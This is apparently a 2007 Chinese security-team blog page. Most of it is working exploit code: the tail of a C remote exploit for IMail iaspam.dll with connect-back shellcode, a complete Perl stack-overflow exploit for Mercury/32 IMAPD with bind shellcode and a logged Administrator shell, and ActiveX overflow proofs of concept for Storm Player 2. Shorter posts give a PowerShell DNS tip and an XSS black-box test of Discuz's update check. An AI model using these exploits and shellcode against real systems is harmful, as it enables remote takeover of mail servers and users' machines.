    target.sin_addr.s_addr 
= inet_addr(address);
    
if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        
return -2;
    }
    target.sin_port 
= htons((short)port);
    bf 
= 1;
    ioctlsocket(s,FIONBIO,
&bf);
    tv.tv_sec 
= timeout;
    tv.tv_usec 
= 0;
    FD_ZERO(
&wd);
    FD_SET(s,
&wd);
    connect(s,(
struct sockaddr *)&target,sizeof(target));
    
if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        
return -3;
    }
    
if(i==0)
    {
        closesocket(s);
        
return -4;
    }
    i 
= sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(
char *)&bf,&i);
    
if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        
return -5;
    }
    ioctlsocket(s,FIONBIO,
&bf);
    
return s;
}




void Disconnect(SOCKET s)
{
    closesocket(s);
    WSACleanup();
}



void help(char *n)
{
    printf(
"==Usage:\n");
    printf(
"%s [target ip] [target port] [local ip] [local port]\n\n", n);
    printf(
"We will send 4 mail to trigger the vuln.\n");
    printf(
"The fucking vuln will be triggered when the mail server handling the mail.\n");
    printf(
"Because of the Spam in the internet,\nthe vuln maybe triggered after a few days!!Fuck!!\n\n");

}


int sendfuckingmail(int the_mail, char *target, int tg_port)
{
    SOCKET  s;
    WSADATA WSAData;
    
char buffer[1000= {0};    // 临时buffer用于io
    int  ret;

    
char padding[5000= {0};   // padding用于填充

    
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
    {
        fprintf(stderr, 
"[-] WSAStartup failed.\n");
        WSACleanup();
        exit(
1);
    }


    s 
= Make_Connection(target, tg_port, 10);
    
if(s<0)
    {
        fprintf(stderr, 
"[-] connect err.\n");
        exit(
1);
    }
    

    recv(s, buffer, 
sizeof(buffer), 0);
    Sleep(
1000);
  
    ret 
= strlen(buffer);    

    
if ( ret < 10 )
    {        
        printf(
"[-]Seems Service Down~ :( \n");
        Disconnect(s);
        
return -1;        
    }


    printf(
"[+]Got Banner: %s", buffer);



    
// HELO
    send(s, szEHLO, strlen(szEHLO), 0);
    recv(s, buffer, 
sizeof(buffer), 0);
//    printf("%s", buffer);
    printf("[+]Say hello to Server.\n");
    memset(buffer, 
0sizeof(buffer));

    
// MAIL FROM
    Sleep(500);
    send(s, szMF, strlen(szMF), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "250"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));


    
// RCPT TO
    Sleep(500);
    send(s, szRCPT, strlen(szRCPT), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "250"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));


    
// DATA
    Sleep(500);
    send(s, szDATA, strlen(szDATA), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "354"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));


    Sleep(
100);
    
// TIME
    send(s, szTIME, strlen(szTIME), 0);
//    recv(s, buffer, sizeof(buffer), 0);
//    printf("%s", buffer);
    printf("[+]Fucking Server at %s", szTIME);
    memset(buffer, 
0sizeof(buffer));

    

    Sleep(
200);


    
// 判断是第几封邮件
    if (the_mail == 0)   // 发一封废邮件,提高成功率
    {
        
/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x50\xc0\xfd\x7f";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2   0x10036ea0
        padding[4231= '\x30';
        padding[
4232= '\xd8';
        padding[
4233= '\xfd';
        padding[
4234= '\x7f';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        Sleep(
100);
        
// MIME
         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        Sleep(
200);
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));

    } 
    
else if (the_mail == 1)   // 构造bufferoverflow的覆盖字符串
    {
        
/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x50\xc0\xfd\x7f";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2   0x10036ea0
        padding[4231= '\x50';
        padding[
4232= '\xc0';
        padding[
4233= '\xfd';
        padding[
4234= '\x7f';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        Sleep(
100);
        
// MIME
         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        Sleep(
200);
        send(s, (
const char *)payload, strlen((const char *)payload), 0);


        
// send payload  构造溢出的字符串  eip指向shellcode的地址
        memset(payload, 0x00sizeof(payload));
        memset(payload, 
0x44520);
        memcpy(payload
+520, SCaddr, strlen((const char *)SCaddr));
        memcpy(payload
+520+4"\r\n"2);

        Sleep(
200);
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));
        
    }
    
else if (the_mail == 2)      // 发送shellcode
    {
        
/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x50\xe7\x03\x10";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2   0x7ffdc850
        padding[4231= '\x50';
        padding[
4232= '\xc8';
        padding[
4233= '\xfd';
        padding[
4234= '\x7f';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        
// MIME
         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        send(s, (
const char *)payload, strlen((const char *)payload), 0);
        Sleep(
200);

        
// 发送shellcode过去保存
        memset(payload, 0x00sizeof(payload));
        memcpy(payload, sh_Buff, strlen((
const char*)sh_Buff));
        memcpy(payload
+strlen((const char*)sh_Buff), "\r\n"2);
        
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));
        


    } 
    
else       //  第三封邮件,构造溢出
    {
        Sleep(
500);  // 因为要触发漏洞了,所以必须要晚点,不然shellcode没到位
        /*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x6c\x54\x03\x10";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2  触发溢出的地址
        padding[4231= '\x6c';
        padding[
4232= '\x54';
        padding[
4233= '\x03';
        padding[
4234= '\x10';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        
// MIME
         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        send(s, (
const char *)payload, strlen((const char *)payload), 0);
        Sleep(
200);

        
// send payload  修改指针地址,构造出溢出
        memset(payload, 0x00sizeof(payload));
        
// 需要指向构造溢出字符串的地址,以及2个可写地址
        memcpy(payload, "\x50\xc0\xfd\x7f"4);
        memcpy(payload
+4"\x40\xc0\xfd\x7f\x30\xc0\xfd\x7f"8);
        memcpy(payload
+12"\r\n"2);
        
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));

    }


    
// END
    Sleep(500);
    send(s, szEND, strlen(szEND), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "250"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));



    
// QUIT
    send(s, szQUIT, strlen(szQUIT), 0);
    recv(s, buffer, 
sizeof(buffer), 0);
//    printf("%s", buffer);
    printf("[+]Fucking END, Ejaculating Now !\n\n");
    memset(buffer, 
0sizeof(buffer));

    
    Sleep(
400);

    closesocket(s);

    WSACleanup();

    
return 0;

}




int main(int argc, char *argv[])
{

    
    
//int  imail_ver = 0;    //imail version  (buffer不同)
    
//int  ret;

    
//SOCKET  s;
    
//WSADATA WSAData;

    printf(
"\n== IMail iaspam.dll 8.01-8.11 Private Remote Exploit\n");
    printf(
"== by axis@ph4nt0m\n");
    printf(
"== http://www.ph4nt0m.org\n");
    printf(
"== 2007-06\n");
    printf(
"== 2007-09-18 published as a gift for the 6th Anniversary of Ph4nt0m\n");
    printf(
"== ConnBack Version\n");
    printf(
"== Thanks EnvyMask@ph4nt0m\n\n");


    
if(argc != 5)
    {
        help(argv[
0]);
        
return 0;
    }

    
if(argc == 5) port = atoi(argv[4]);


    GetShellCode(argv[
3], port);
    
if (!sh_Len)
    {
        printf(
"[-] Shellcode generate error.\n");
        exit(
1);
    }


    
//printf("shellcode length is: %d \n",strlen((char *)sh_Buff));
    
//PrintSc(sh_Buff, sh_Len);


    Sleep(
200);

    
for (int mail_payload = 0; mail_payload <= 3; mail_payload++)
    {
        
//printf("[+]Now Sending the %d fucking Mail!\n",mail_payload+1);
        sendfuckingmail(mail_payload, argv[1], atoi(argv[2]));
        Sleep(
2000);
    }
    
    printf(
"Got a Shell on your port ?! @_@\n\n");


    
return 1;

}

[Exploit]Mercury/32 v4.52 IMAPD SEARCH command Post-Auth Stack Overflow Exploit

author: void#ph4nt0m.org
date: 2007-09-19
http://www.ph4nt0m.org

Text Mode

# Z:\Exp>mercury_SEARCH.pl 127.0.0.1 143 void ph4nt0m.org
#    Mercury/32 v4.52 IMAPD SEARCH command Post-Auth Stack Overflow Exploit
#                                          Found & Code by void# ph4nt0m.org

# S: * OK mercury.ph4nt0m.org IMAP4rev1 Mercury/32 v4.52 server ready.
# C: pst06 LOGIN void ph4nt0m.org
# S: pst06 OK LOGIN completed.
# C: pst06 SELECT INBOX
# S: * 0 EXISTS
# S: * 0 RECENT
# S: * FLAGS (\Deleted \Draft \Seen \Answered)
# S: * OK [UIDVALIDITY 1190225819] UID Validity
# S: * OK [UIDNEXT 1] Predicted next UID
# S: * OK [PERMANENTFLAGS (\Deleted \Draft \Seen \Answered)] Settable message flag
# s
# S: pst06 OK [READ-WRITE] SELECT completed.
# [*] Send Evil Payload ...
# [+] Done! Check out cmdshell@127.0.0.1:31337. Good Luck :-P

# Z:\Exp>nc -vv 127.0.0.1 31337
# DNS fwd/rev mismatch: localhost != GNU
# localhost [127.0.0.1] 31337 (?) open
# Microsoft Windows XP [版本 5.1.2600]
# (C) 版权所有 1985-2001 Microsoft Corp.

# e:\MERCURY>whoami
# whoami
# Administrator

# e:\MERCURY>


use strict;
use warnings;
use IO::Socket;

# Target IP
my $imap_host = shift || 127.0.0.1;
my $imap_port = shift || 143;
my $imap_user = shift || "void";
my $imap_pass = shift || "ph4nt0m.org";

my $banner = 
"   Mercury/32 v4.52 IMAPD SEARCH command Post-Auth Stack Overflow Exploit\n".
"                                         Found & Code by void#ph4nt0m.org\n".
"\n";

my $cheers = "Celebrate_the_6th_anniversary_of_the_founding_of_Ph4nt0m.org";
my $jmpesp = "\x12\x45\xfa\x7f"# Windows 2000/xp/2003 CHS Universe

# /* win32_bind -  EXITFUNC=thread LPORT=31337 Size=347 Encoder=Pex http://metasploit.com */
# bad char: 0x00 0x0A 0x0D 0x20 0x29 

my $shellcode =
"\x31\xc9\x81\xe9\xb0\xff\xff\xff\xe8\xff\xff\xff\xff\xc0\x5e\x81".
"\x76\x0e\xfa\xd1\xa5\x6f\x83\xee\xfc\xe2\xf4\x06\xbb\x4e\x22\x12".
"\x28\x5a\x90\x05\xb1\x2e\x03\xde\xf5\x2e\x2a\xc6\x5a\xd9\x6a\x82".
"\xd0\x4a\xe4\xb5\xc9\x2e\x30\xda\xd0\x4e\x26\x71\xe5\x2e\x6e\x14".
"\xe0\x65\xf6\x56\x55\x65\x1b\xfd\x10\x6f\x62\xfb\x13\x4e\x9b\xc1".
"\x85\x81\x47\x8f\x34\x2e\x30\xde\xd0\x4e\x09\x71\xdd\xee\xe4\xa5".
"\xcd\xa4\x84\xf9\xfd\x2e\xe6\x96\xf5\xb9\x0e\x39\xe0\x7e\x0b\x71".
"\x92\x95\xe4\xba\xdd\x2e\x1f\xe6\x7c\x2e\x2f\xf2\x8f\xcd\xe1\xb4".
"\xdf\x49\x3f\x05\x07\xc3\x3c\x9c\xb9\x96\x5d\x92\xa6\xd6\x5d\xa5".
"\x85\x5a\xbf\x92\x1a\x48\x93\xc1\x81\x5a\xb9\xa5\x58\x40\x09\x7b".
"\x3c\xad\x6d\xaf\xbb\xa7\x90\x2a\xb9\x7c\x66\x0f\x7c\xf2\x90\x2c".
"\x82\xf6\x3c\xa9\x82\xe6\x3c\xb9\x82\x5a\xbf\x9c\xb9\xdf\x06\x9c".
"\x82\x2c\x8e\x6f\xb9\x01\x75\x8a\x16\xf2\x90\x2c\xbb\xb5\x3e\xaf".
"\x2e\x75\x07\x5e\x7c\x8b\x86\xad\x2e\x73\x3c\xaf\x2e\x75\x07\x1f".
"\x98\x23\x26\xad\x2e\x73\x3f\xae\x85\xf0\x90\x2a\x42\xcd\x88\x83".
"\x17\xdc\x38\x05\x07\xf0\x90\x2a\xb7\xcf\x0b\x9c\xb9\xc6\x02\x73".
"\x34\xcf\x3f\xa3\xf8\x69\xe6\x1d\xbb\xe1\xe6\x18\xe0\x65\x9c\x50".
"\x2f\xe7\x42\x04\x93\x89\xfc\x77\xab\x9d\xc4\x51\x7a\xcd\x1d\x04".
"\x62\xb3\x90\x8f\x95\x5a\xb9\xa1\x86\xf7\x3e\xab\x80\xcf\x6e\xab".
"\x80\xf0\x3e\x05\x01\xcd\xc2\x23\xd4\x6b\x3c\x05\x07\xcf\x90\x05".
"\xe6\x5a\xbf\x71\x86\x59\xec\x3e\xb5\x5a\xb9\xa8\x2e\x75\x07\x15".
"\x1f\x45\x0f\xa9\x2e\x73\x90\x2a\xd1\xa5\x6f";



print $banner;
sleep(1);

my $sock = IO::Socket::INET->new( PeerHost=>$imap_host, PeerPort=>$imap_port, proto=>"tcp" ) or die "Connect error.\n";
imap_recv(
"");

imap_send(
"pst06 LOGIN $imap_user $imap_pass\r\n", "rv");
imap_send(
"pst06 SELECT INBOX\r\n", "rv");

my $payload = $cheers.$jmpesp.$shellcode;
print "[*] Send Evil Payload ...\n";
imap_send(
"pst06 SEARCH ON $payload\r\n", "");
sleep(1);
print "[+] Done! Check out cmdshell\@$imap_host:31337. Good Luck :-P\n";
$sock->close();


sub imap_send
{
    
if($_[1=~ /v/)
    {
        
if(length($_[0])<=75)
        {
            
print "C: ".$_[0];
        }
        
else
        {
            
print "C: ".substr($_[0], 0, 36)." ... ".substr($_[0], -36, -1)."\n";
        }
    }

    
print $sock $_[0];

    
if($_[1=~ /r/)
    {    
        imap_recv(
substr($_[0], 0, index($_[0], " ")+1));
    }
}


sub imap_recv
{
    
while(<$sock>)
    {
        
print "S: ".$_;
        
if($_ =~ /$_[0]OK/)
        {    
last;    }
        
elsif($_ =~ /$_[0]NO|$_[0]BAD/ )
        {    
last;    }
        
else
        {    
next;    }
    }
}

2007年9月18日 星期二

[Tips]Powershell分享(1) - 操作DNS

author: long#ph4nt0m.org
date: 2007-09-18
http://www.ph4nt0m.org

Text Mode

Powershell出来了一段时间了,学习了一下。和大家分享一下学习经验:

Powershell中,可以通过WMI来对DNS Server进行操作,具体方法如下:

(1) 创建一个WMIClass的实例,当然也可以用\\Servername\Root\MicrosoftDNS:MicrosoftDNS_ResourceRecord创建远程服务器的WMIClass实例:

PS> $DNS = [WMIClass]"ROOT\MicrosoftDNS:MicrosoftDNS_ResourceRecord"

(2) 调用CreateInstanceFromTextRepresentation方法:
PS> $DNS.CreateInstanceFromTextRepresentation("dnssrv.foo.com","foo.com","www.foo.com IN A 1.1.1.1")

CreateInstanceFromTextRepresentation方法的参数如下:
PS> $DNS | Get-Member -MemberType Method | Where {$_.Name -eq "CreateInstanceFromTextRepresentation"} | Select Definition | FL *

Definition : System.Management.ManagementBaseObject CreateInstanceFromTextRepresentation(System.String DnsServerName, System.String ContainerName, System.String TextRepresentation)

(3) 当然你也可以使用foreach来批量创建记录:
PS> cat dnsrecord.txt | % {$DNS.CreateInstanceFromTextRepresentation($DNSServe, $Domainname, $_)}

发散思维:

IIS,SQL Server,Exchange也都有WMI Provider。通过Powershell,可以降低脚本复杂度,更方便的调用WMI Provider提供的方法来操作企业应用程序。

[News]Ph4nt0m Security Team 6周年庆!

by axis
2007-09-18
http://www.ph4nt0m.org

不知不觉中,幻影已经走过6个年头了。幻影的成长经历,颇多坎坷。

所有幻影的兄弟姐妹们,不管你们是否还守着这片乐土,在我心中你们都是最棒的!

Thanks All!

2007年9月9日 星期日

[Tips]dz升级检测功能的黑盒测试

by superhei
2007-09-08
http://www.ph4nt0m.org

Text Mode

'dz的论坛程序升级通知'是个不错的功能,很多注意安全的程序都有类似的功能比如:wordpress
我们先看看dz功能的实现代码 :

\admin\global.func.php

00438: echo '<script language="JavaScript" 

src="http://customer.discuz.net/news.php?version=
'.rawurlencode(DISCUZ_VERSION).'&release='.rawurlencode(DISCUZ_RELEASE).'&php='.PHP_VERSION.'&mysql='.$dbversion.'&charset='.rawurlencode($charset).'&bbname='.rawurlencode($bbname).'&members='.$members.'&threads='.$threads.'&posts='.$posts.'&msn='.$msns.'&md5hash='.md5(preg_replace("/http:\/\/(.+?)\/.*/i", "\\1", 

$_SERVER
['HTTP_REFERER']).$_SERVER['HTTP_USER_AGENT'].DISCUZ_VERSION.DISCUZ_RELEASE.$bbname.$members.$threads.$posts).'"></script>';

提交版本以及一些论坛的信息利用js发送到customer.discuz.net来判断,我们抓个包:
GET /news.php?version=5.5.0&release=20070301&php=5.1.2&mysql=4.1.9-max&charset=gbk&bbname=Discuz%21%20Board&members=5&threads=21&posts=22&msn=0&md5hash=c322d618261ae0e89bece292886897d6 HTTP/1.1
Host: customer.discuz.net
User
-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.6) Gecko/20070725 (FoxPlus) Firefox/2.0.0.6
...

可以看出来发送的一些变量的意思:

DISCUZ_VERSION 为版本号
DISCUZ_RELEASE 版本的日期

//这2个都是在\discuz_version.php 里定义的:
define('DISCUZ_VERSION', '5.5.0');
define('DISCUZ_RELEASE', '20070301');

PHP_VERSION php的版本
$dbversion mysql的版本
$charset 使用的编码
$bbname 论坛名

$members,$threads,$posts,$msns 这都是论坛的一些信息,我估计是dz来收集客户资料的一些东西
md5hash 这个值为md5
(preg_replace("/http:\/\/(.+?)\/.*/i", "\\1", $_SERVER['HTTP_REFERER']).$_SERVER['HTTP_USER_AGENT'].DISCUZ_VERSION.DISCUZ_RELEASE.$bbname.$members.$threads.$posts)

注意里面用了HTTP_REFERER, HTTP_USER_AGENT来判断来路的[dz ,pw常用的手段 :)]

下面我们对这些参数进行简单的黑盒,先写个测试的php:
<?
//$version="5.5.0'";
//$version="5.5.0 and 1=1";

$version="5.5.0<script>alert(document.cookie)</script>";
$res="20070301";
$dbversion="4.1.9-max";
$charset="gbk";
$bbname="1";

$members="1";
//$posts="%27";
//$msns="<script>";

$sef =$_SERVER['HTTP_REFERER'];

$url= 'http://customer.discuz.net/news.php?version='.rawurlencode($version).'&release='.rawurlencode($res).'&php='.PHP_VERSION.'&mysql='.$dbversion.'&charset='.rawurlencode($charset).'&bbname='.rawurlencode($bbname).'&members='.$members.'&threads='.$threads.'&posts='.$posts.'&msn='.$msns.'&md5hash='
.md5(preg_replace("/http:\/\/(.+?)\/.*/i", "\\1", $sef).$_SERVER['HTTP_USER_AGENT'].$version.$res.$bbname.$members.
$threads.$posts);
print $url;
print     '<iframe src="'.$url.'" height=1000 width=1000>';

首先我用' %27 and1=1 等测试每个变量有没有注射,很遗憾 没找到明显的注射,我们测试下xss
经过测试$version 过滤了' 但是内容可以在返回的显示出来 存在xss [也不知道他们代码杂写的单独过滤个']
不过这个没多大的实际应用的意义,主要是要先得到你xss对象的HTTP_USER_AGENT,HTTP_REFERER倒是很好得到.不过如果你用社会工程,得到这些东西 还是很容易的.

然后这个功能还有就是上面说的收集信息如php,mysql版本,msn啊多少用户,多少贴什么的,这些信息提交后应该放入了数据库,然后通过它们的'管理后台'查看这些信息,那么在这个update/insert--- >select出来的过程,如果有变量没有过滤呢,那么我们可以在它们的'后台'跨一跨?
[测试你发现有几个变量有明显的int或者类似函数的过滤过的]

杂判断是否有漏洞呢? 我们可以src一个远程的js,工具有没有执行你的代码来判断? 不过这些都只是YY,具体他们的代码和管理方式我根本不清楚 :(.

这个文章里的bug是没什么意义的,我只是想说说在没有代码的情况下的测试思路:根据功能,来思考程序员是杂实现这个功能-->yy出伪codz-->测试有可能出现的bug.

2007年9月8日 星期六

[Advisory]暴风影音2 mps.dll组件多个缓冲区溢出漏洞

Author: ZhenHan.Liu
Date: 2007-09-07
http://www.ph4nt0m.org

Text Mode

网上爆出了一个暴风影音的activex漏洞,调用的是rawParse这个方法,于是简单看了下,发现问题真不少。这些问题都是可以控制eip或者是seh的,也就是说每个漏洞都可以导致执行任意代码。

影响版本:暴风影音2(其他未测试)
未受影响版本:无(目前无补丁)

URL属性、rawParse方法和advancedOpen方法溢出的poc分别如下:

[Vuln 1]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 300) {
    s 
+= "\x0c";
}

storm.URL 
= s;
</script>
</body>
</html>

[Vuln 2]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 300) {
    s 
+= "\x0c";
}

storm.rawParse(s);
</script>
</body>
</html>

[Vuln 3]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.advancedOpen(s, 
"");
</script>
</body>
</html>

URL属性、rawParse方法和advancedOpen方法的溢出本质是同一个问题,他们都调用了sparser.dll导出的一个函数。这个函数从代码来看是处理路径和URL的,URL属性和rawParse方法传入的参数也都是URL。
.text:10004F40 ; int __stdcall sub_10004F40(LPCSTR lpMultiByteStr,int,int)
.text:10004F40 sub_10004F40    proc near               ; DATA XREF: .rdata:1000F2D0o
.text:10004F40
.text:10004F40 var_14          = dword ptr -14h
.text:10004F40 var_10          = dword ptr -10h
.text:10004F40 var_C           = dword ptr -0Ch
.text:10004F40 var_4           = dword ptr -4
.text:10004F40 lpMultiByteStr  = dword ptr  4
.text:10004F40 arg_8           = dword ptr  0Ch
.text:10004F40
.text:10004F40                 mov     eax, large fs:0
.text:10004F46                 push    0FFFFFFFFh
.text:10004F48                 push    offset loc_1000EB21
.text:10004F4D                 push    eax
             ...    ...    ...    ...                 
.text:1000506D                 call    dword ptr [ecx+4]
.text:10005070                 mov     ecx, esi
.text:10005072                 mov     edx, [esp+24h+lpMultiByteStr]
.text:10005076                 push    edx             ; lpMultiByteStr
.text:10005077                 call    sub_10002450

该函数第二、三个参数都是指向用户输入串拷贝的指针,最后一行进入另一个函数:
.text:10002450 ; int __stdcall sub_10002450(LPCSTR lpMultiByteStr)
.text:10002450 sub_10002450    proc near               ; CODE XREF: sub_10004F40+137p
.text:10002450
.text:10002450 var_12C         = dword ptr -12Ch
.text:10002450 pszPath         = byte ptr -120h
.text:10002450 var_1C          = dword ptr -1Ch
.text:10002450 var_4           = dword ptr -4
.text:10002450 lpMultiByteStr  = dword ptr  8
.text:10002450
.text:10002450                 push    ebp
.text:10002451                 mov     ebp, esp
.text: 10002453                  sub      esp, 120h    ; 注意这里分配了120h即288字节大小的buffer
          ...   ...   ...   ...
.text:100024ED                 mov     edi, [ebp+lpMultiByteStr]
.text:100024F0                 push    edi             ; pszPath
.text: 100024F1                  call     ds:PathIsURLA    ; 这里判断是否为合法的URL
